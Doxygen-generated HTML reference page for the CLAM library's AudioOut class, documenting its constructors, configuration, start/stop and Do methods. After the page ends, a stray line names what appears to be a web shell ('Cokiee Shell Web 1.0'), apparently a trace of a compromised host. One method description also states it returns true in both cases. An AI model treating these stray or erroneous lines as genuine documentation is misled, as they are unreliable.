href="#a64cc3cd1076c485562a2ea326b525015"></a><br/></td></tr> <tr class="memitem:a0a8b1c3478947e0f9efc7674a51fe6b5 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutPortRegistry.html">OutPortRegistry</a> & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a0a8b1c3478947e0f9efc7674a51fe6b5">GetOutPorts</a> ()</td></tr> <tr class="memdesc:a0a8b1c3478947e0f9efc7674a51fe6b5 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Accessor to published Portss manager. <a href="#a0a8b1c3478947e0f9efc7674a51fe6b5"></a><br/></td></tr> <tr class="memitem:a5619e90c5c79e0bbbd087105c761b7ee inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a5619e90c5c79e0bbbd087105c761b7ee">AddConfigErrorMessage</a> (const std::string &msg)</td></tr> <tr class="memdesc:a5619e90c5c79e0bbbd087105c761b7ee inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Use this method to append a configuration errors to the processing when implementing ConcreteConfigure. <a href="#a5619e90c5c79e0bbbd087105c761b7ee"></a><br/></td></tr> <tr class="memitem:a90f259e0832055b0baf4896069e29f50 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a90f259e0832055b0baf4896069e29f50">AbleToExecute</a> (void) const </td></tr> <tr class="memdesc:a90f259e0832055b0baf4896069e29f50 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">In debug-mode checks that the processing is configured and started. <a href="#a90f259e0832055b0baf4896069e29f50"></a><br/></td></tr> <tr class="memitem:afc32b9790688f2875b42e4ab169389c6 inherit pro_methods_classCLAM_1_1Processing"><td class="memTemplParams" colspan="2">template<typename ConcreteConfig > </td></tr> <tr class="memitem:afc32b9790688f2875b42e4ab169389c6"><td class="memTemplItemLeft" align="right" valign="top">void </td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#afc32b9790688f2875b42e4ab169389c6">CopyAsConcreteConfig</a> (ConcreteConfig &concrete, const <a class="el" href="classCLAM_1_1ProcessingConfig.html">ProcessingConfig</a> &abstract) const </td></tr> <tr class="memdesc:afc32b9790688f2875b42e4ab169389c6 inherit pro_methods_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Helper template to convert a reference to a <a class="el" href="classCLAM_1_1ProcessingConfig.html" title="This is an abstract class which serves as interface for configuration classes used as processing obje...">ProcessingConfig</a> to the concrete <a class="el" href="classCLAM_1_1ProcessingConfig.html" title="This is an abstract class which serves as interface for configuration classes used as processing obje...">ProcessingConfig</a> specified on the first parameter. <a href="#afc32b9790688f2875b42e4ab169389c6"></a><br/></td></tr> <tr class="memitem:a4a62598ddf5a6d05ec768ded869c3cc2 inherit pro_methods_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a4a62598ddf5a6d05ec768ded869c3cc2">SetExecState</a> (<a class="el" href="classCLAM_1_1Processing.html#a76188000ceaea69e163281378b88ad09">ExecState</a> state)</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="friends"></a> Friends</h2></td></tr> <tr class="memitem:a85edaa7e5c3ae68dabadd5373890591e"><td class="memItemLeft" align="right" valign="top">class </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a85edaa7e5c3ae68dabadd5373890591e">AudioManager</a></td></tr> <tr class="memitem:a8fbf9b3017983991713e2cbb819dfd5a"><td class="memItemLeft" align="right" valign="top">class </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1AudioOut.html#a8fbf9b3017983991713e2cbb819dfd5a">AudioDevice</a></td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="inherited"></a> Additional Inherited Members</h2></td></tr> <tr class="inherit_header pub_types_classCLAM_1_1Processing"><td colspan="2" onclick="javascript:toggleInherit('pub_types_classCLAM_1_1Processing')"><img src="closed.png" alt="-"/> Public Types inherited from <a class="el" href="classCLAM_1_1Processing.html">CLAM::Processing</a></td></tr> <tr class="memitem:a76188000ceaea69e163281378b88ad09 inherit pub_types_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">enum  </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a76188000ceaea69e163281378b88ad09">ExecState</a> { <a class="el" href="classCLAM_1_1Processing.html#a76188000ceaea69e163281378b88ad09ace6a8386bb501807a4dd536d2acfaa8b">Unconfigured</a> = 0, <a class="el" href="classCLAM_1_1Processing.html#a76188000ceaea69e163281378b88ad09a3ea42e3fa61eb0e29c8743264b0c9e9c">Ready</a>, <a class="el" href="classCLAM_1_1Processing.html#a76188000ceaea69e163281378b88ad09ae9cedc193d5a936c19f86e28bac68503">Running</a> }</td></tr> <tr class="memdesc:a76188000ceaea69e163281378b88ad09"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> Object possible execution states. <a href="classCLAM_1_1Processing.html#a76188000ceaea69e163281378b88ad09">More...</a><br/></td></tr> <tr class="memitem:a879f793345c00597b32682427fa7d6b5 inherit pub_types_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top">typedef <a class="el" href="classCLAM_1_1NullProcessingConfig.html">NullProcessingConfig</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#a879f793345c00597b32682427fa7d6b5">Config</a></td></tr> <tr class="inherit_header pro_attribs_classCLAM_1_1Processing"><td colspan="2" onclick="javascript:toggleInherit('pro_attribs_classCLAM_1_1Processing')"><img src="closed.png" alt="-"/> Protected Attributes inherited from <a class="el" href="classCLAM_1_1Processing.html">CLAM::Processing</a></td></tr> <tr class="memitem:ae6d4efc306551d162956de9c1b659186 inherit pro_attribs_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1ProcessingComposite.html">ProcessingComposite</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#ae6d4efc306551d162956de9c1b659186">mpParent</a></td></tr> <tr class="memdesc:ae6d4efc306551d162956de9c1b659186 inherit pro_attribs_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">Pointer to the parent (composite) processing object, or 0. <a href="#ae6d4efc306551d162956de9c1b659186"></a><br/></td></tr> <tr class="memitem:afea583ba1c8575e9b7ee1537c6876947 inherit pro_attribs_classCLAM_1_1Processing"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1Network.html">Network</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1Processing.html#afea583ba1c8575e9b7ee1537c6876947">_network</a></td></tr> <tr class="memdesc:afea583ba1c8575e9b7ee1537c6876947 inherit pro_attribs_classCLAM_1_1Processing"><td class="mdescLeft"> </td><td class="mdescRight">The parent network if any. <a href="#afea583ba1c8575e9b7ee1537c6876947"></a><br/></td></tr> </table> <hr/><a name="details" id="details"></a><h2>Detailed Description</h2> <div class="textblock"><p>This class is the interface to an output of an <a class="el" href="classCLAM_1_1AudioDevice.html" title="This is the abstract base class for an audio device.">AudioDevice</a>. </p> <dl class="section see"><dt>See also:</dt><dd><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a>, <a class="el" href="classCLAM_1_1AudioIOConfig.html" title="Configuration of the AudioIn and AudioOut classes.">AudioIOConfig</a>, <a class="el" href="classCLAM_1_1AudioOut.html" title="This class is the interface to an output of an AudioDevice.">AudioOut</a>, <a class="el" href="classCLAM_1_1AudioManager.html" title="This class takes care of all the creation of the registration of AudioIn and AudioOut objects...">AudioManager</a>, <a class="el" href="classCLAM_1_1AudioDevice.html" title="This is the abstract base class for an audio device.">AudioDevice</a> </dd></dl> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00037">37</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> </div><hr/><h2>Constructor & Destructor Documentation</h2> <a class="anchor" id="a1a9400fa53d3b21d3850a993e8e82423"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">CLAM::AudioOut::AudioOut </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Default constructor for the class. </p> <p>Sets the configuration to the default values, calling the base constructor of the <a class="el" href="classCLAM_1_1AudioIOConfig.html" title="Configuration of the AudioIn and AudioOut classes.">AudioIOConfig</a> object </p> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00042">42</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="Processing_8cxx_source.html#l00153">CLAM::Processing::Configure()</a>.</p> </div> </div> <a class="anchor" id="a0d23e0fd2a46e6fb5ecc10ca7b3409f5"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">CLAM::AudioOut::AudioOut </td> <td>(</td> <td class="paramtype">const <a class="el" href="classCLAM_1_1AudioIOConfig.html">AudioIOConfig</a> & </td> <td class="paramname"><em>cfg</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Constructor of the class with an <a class="el" href="classCLAM_1_1AudioIOConfig.html" title="Configuration of the AudioIn and AudioOut classes.">AudioIOConfig</a> object constructed by the user as parameter. </p> <dl class="params"><dt>Parameters:</dt><dd> <table class="params"> <tr><td class="paramname">c</td><td>The concrete <a class="el" href="classCLAM_1_1AudioIOConfig.html" title="Configuration of the AudioIn and AudioOut classes.">AudioIOConfig</a> that will be used for this construction </td></tr> </table> </dd> </dl> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00049">49</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="Processing_8cxx_source.html#l00153">CLAM::Processing::Configure()</a>.</p> </div> </div> <a class="anchor" id="afc565eafdbea2050742308cdfdf485a7"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">CLAM::AudioOut::~AudioOut </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Destructor method of the class. </p> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00056">56</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="AudioDevice_8cxx_source.html#l00081">CLAM::AudioDevice::Unregister()</a>, and <a class="el" href="Err_8hxx_source.html#l00061">CLAM::Err::what()</a>.</p> </div> </div> <hr/><h2>Member Function Documentation</h2> <a class="anchor" id="a599cb625854bd57ee4ea6d6c32e56605"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool CLAM::AudioOut::ConcreteConfigure </td> <td>(</td> <td class="paramtype">const <a class="el" href="classCLAM_1_1ProcessingConfig.html">ProcessingConfig</a> & </td> <td class="paramname"><em>c</em></td><td>)</td> <td> throw (<a class="el" href="classCLAM_1_1ErrProcessingObj.html">ErrProcessingObj</a>)</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Configuration method interface. </p> <p>The <a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> base class forces all the concrete classes derived from it to implement this method, which must actually perform the specific configuration tasks. <a class="el" href="classCLAM_1_1Note.html" title="Used to store note information.">Note</a> that the user can not call this method directly. He will use Configure instead. The argument is expected to be an object of the necesary concrete configuration class. </p> <dl class="section return"><dt>Returns:</dt><dd>true if the object has been configured correctly; true otherwise </dd></dl> <dl class="params"><dt>Parameters:</dt><dd> <table class="params"> <tr><td class="paramname">The</td><td>related <a class="el" href="classCLAM_1_1ProcessingConfig.html" title="This is an abstract class which serves as interface for configuration classes used as processing obje...">ProcessingConfig</a> object </td></tr> </table> </dd> </dl> <dl class="exception"><dt>Exceptions:</dt><dd> <table class="exception"> <tr><td class="paramname">A</td><td>bad_cast exception if the arguments is not the expected configuration class </td></tr> </table> </dd> </dl> <p>Reimplemented from <a class="el" href="classCLAM_1_1Processing.html#a2febdb39b67b8424d5511e7976bc7254">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00067">67</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="AudioManager_8hxx_source.html#l00084">CLAM::AudioManager::Current()</a>, <a class="el" href="Err_8cxx_source.html#l00067">CLAM::Err::Embed()</a>, <a class="el" href="AudioManager_8cxx_source.html#l00157">CLAM::AudioManager::Register()</a>, and <a class="el" href="Err_8hxx_source.html#l00061">CLAM::Err::what()</a>.</p> </div> </div> <a class="anchor" id="a6435f1ce04c675b643277a5e8c73a836"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool CLAM::AudioOut::ConcreteStart </td> <td>(</td> <td class="paramtype">void </td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">protected</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> objects have to redefine this method when starting them implies some internal changes. </p> <p>ie: adquiring resources. </p> <dl class="section return"><dt>Returns:</dt><dd>Whether start changes have been successful </dd></dl> <p>Reimplemented from <a class="el" href="classCLAM_1_1Processing.html#a8c2e7ad151c6c4a0eddc486022da704d">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00103">103</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="classCLAM_1_1AudioDevice.html#a34989f017d1c7d1032c93906b551f56d">CLAM::AudioDevice::Start()</a>, and <a class="el" href="Err_8hxx_source.html#l00061">CLAM::Err::what()</a>.</p> </div> </div> <a class="anchor" id="a1380b673b3ee468e8ad765866f1b4bbd"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool CLAM::AudioOut::ConcreteStop </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">protected</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> objects have to redefine this method when stoping them implies some internal changes. </p> <p>ie: releasing resources. </p> <dl class="section return"><dt>Returns:</dt><dd>Whether stop changes have been successful </dd></dl> <p>Reimplemented from <a class="el" href="classCLAM_1_1Processing.html#aed8a20704a2d0e436a5ca67e837e399a">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00118">118</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="classCLAM_1_1AudioDevice.html#ab944b2af4ee03a91e7b1af6a7bb3f792">CLAM::AudioDevice::Stop()</a>.</p> </div> </div> <a class="anchor" id="a64872a0df94b75b0cfe39061289b5616"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool CLAM::AudioOut::Do </td> <td>(</td> <td class="paramtype">void </td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Supervised mode of Do method. </p> <p>Calls the non-supervised method with the <a class="el" href="classCLAM_1_1Audio.html" title="Audio class with the Data Buffer, information about it (SampleRate, BeginTime), and methods to insert...">Audio</a> data chunk attached before as the parameter where data will be written </p> <p>Implements <a class="el" href="classCLAM_1_1Processing.html#abefb869e5f9410bb6fe5744fd70f03c9">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00132">132</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="InPort_8hxx_source.html#l00151">CLAM::InPort< Token >::Consume()</a>, and <a class="el" href="AudioInPort_8cxx_source.html#l00039">CLAM::AudioInPort::GetAudio()</a>.</p> </div> </div> <a class="anchor" id="a27d7c0167d0c4a0ec73abc9d6752e3b0"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool CLAM::AudioOut::Do </td> <td>(</td> <td class="paramtype">const <a class="el" href="classCLAM_1_1Audio.html">Audio</a> & </td> <td class="paramname"><em>data</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Non supervised mode of Do function. </p> <p>The object writes in the device attached for the appropiate channel. Values selected to write are provided for the data chunk passed by parameter. On current implementations <a class="el" href="classCLAM_1_1AudioOut.html#a64872a0df94b75b0cfe39061289b5616" title="Supervised mode of Do method.">Do()</a> will return immediately when not all output channels of the device has been 'filled' yet. If this is last channel to be 'filled', <a class="el" href="classCLAM_1_1AudioOut.html#a64872a0df94b75b0cfe39061289b5616" title="Supervised mode of Do method.">Do()</a> will block, until the device is ready to receive more data. The size of the data chunk passed has restrictions which are dependent on the implementation. Most will require the size to be a power-of-two somewhere in the region of 32 samples to 8192 samples. </p> <dl class="params"><dt>Parameters:</dt><dd> <table class="params"> <tr><td class="paramname">data</td><td>The <a class="el" href="classCLAM_1_1Audio.html" title="Audio class with the Data Buffer, information about it (SampleRate, BeginTime), and methods to insert...">Audio</a> chunk that we want to pass to the selected Device </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns:</dt><dd>true if the method has been executed correctly </dd></dl> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00092">92</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> <p>References <a class="el" href="Processing_8hxx_source.html#l00490">CLAM::Processing::AbleToExecute()</a>, and <a class="el" href="classCLAM_1_1AudioDevice.html#a465c48b418d24fa9189e577b11d0d537">CLAM::AudioDevice::Write()</a>.</p> </div> </div> <a class="anchor" id="aa1522ec677e83f55f30d9ff9dfdbfbdc"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classint.html">int</a> CLAM::AudioOut::GetChannelID </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00105">105</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> </div> </div> <a class="anchor" id="aae9f624e1d68d0d488878483e1aad920"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const char* CLAM::AudioOut::GetClassName </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Override it in every subclass and retur the name of that class. </p> <p>Implements <a class="el" href="classCLAM_1_1Processing.html#aab15412bffd6bae1e611271707d481d0">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00076">76</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> </div> </div> <a class="anchor" id="afb76933f8b33f6e26b522324118554af"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classCLAM_1_1ProcessingConfig.html">ProcessingConfig</a>& CLAM::AudioOut::GetConfig </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Getter for the configuration of the class. </p> <dl class="section return"><dt>Returns:</dt><dd>The <a class="el" href="classCLAM_1_1ProcessingConfig.html" title="This is an abstract class which serves as interface for configuration classes used as processing obje...">ProcessingConfig</a> object attached to this <a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> object </dd></dl> <p>Reimplemented from <a class="el" href="classCLAM_1_1Processing.html#a268faa744300ce2a9963170609389568">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00060">60</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> <p>Referenced by <a class="el" href="AudioDevice_8cxx_source.html#l00065">CLAM::AudioDevice::Register()</a>.</p> </div> </div> <a class="anchor" id="afe59c08612d3961871b9ac2b8417a3c0"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void CLAM::AudioOut::GetDeviceInfo </td> <td>(</td> <td class="paramtype"><a class="el" href="structCLAM_1_1AudioDevice_1_1TInfo.html">AudioDevice::TInfo</a> & </td> <td class="paramname"><em>info</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> <p>Getter for the Info of Device Object attached to this <a class="el" href="classCLAM_1_1AudioIn.html" title="This class is the interface to an input of an AudioDevice.">AudioIn</a> instantiation. </p> <dl class="params"><dt>Parameters:</dt><dd> <table class="params"> <tr><td class="paramname">info</td><td>TInfo object that method will modify with the values of Tinfo internal object </td></tr> </table> </dd> </dl> <p>Definition at line <a class="el" href="AudioOut_8cxx_source.html#l00124">124</a> of file <a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a>.</p> <p>References <a class="el" href="AudioDevice_8cxx_source.html#l00111">CLAM::AudioDevice::GetInfo()</a>, and <a class="el" href="AudioDevice_8hxx_source.html#l00068">CLAM::AudioDevice::TInfo::Reset()</a>.</p> </div> </div> <a class="anchor" id="ab5293cde72ee44e978a5d0a7c773c85c"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool CLAM::AudioOut::IsSyncSource </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Wether the processing is a sync source such as audio i/o device, or an audio callback hook (i.e. </p> <p>Externalizer) </p> <p>Reimplemented from <a class="el" href="classCLAM_1_1Processing.html#a1d5eb42911a5d395b1fca3ea86f6319d">CLAM::Processing</a>.</p> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00109">109</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> </div> </div> <hr/><h2>Friends And Related Function Documentation</h2> <a class="anchor" id="a8fbf9b3017983991713e2cbb819dfd5a"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">friend class <a class="el" href="classCLAM_1_1AudioDevice.html">AudioDevice</a></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">friend</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00040">40</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> </div> </div> <a class="anchor" id="a85edaa7e5c3ae68dabadd5373890591e"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">friend class <a class="el" href="classCLAM_1_1AudioManager.html">AudioManager</a></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">friend</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="AudioOut_8hxx_source.html#l00039">39</a> of file <a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following files:<ul> <li><a class="el" href="AudioOut_8hxx_source.html">AudioOut.hxx</a></li> <li><a class="el" href="AudioOut_8cxx_source.html">AudioOut.cxx</a></li> </ul> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.1 </small></address> </body> </html>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare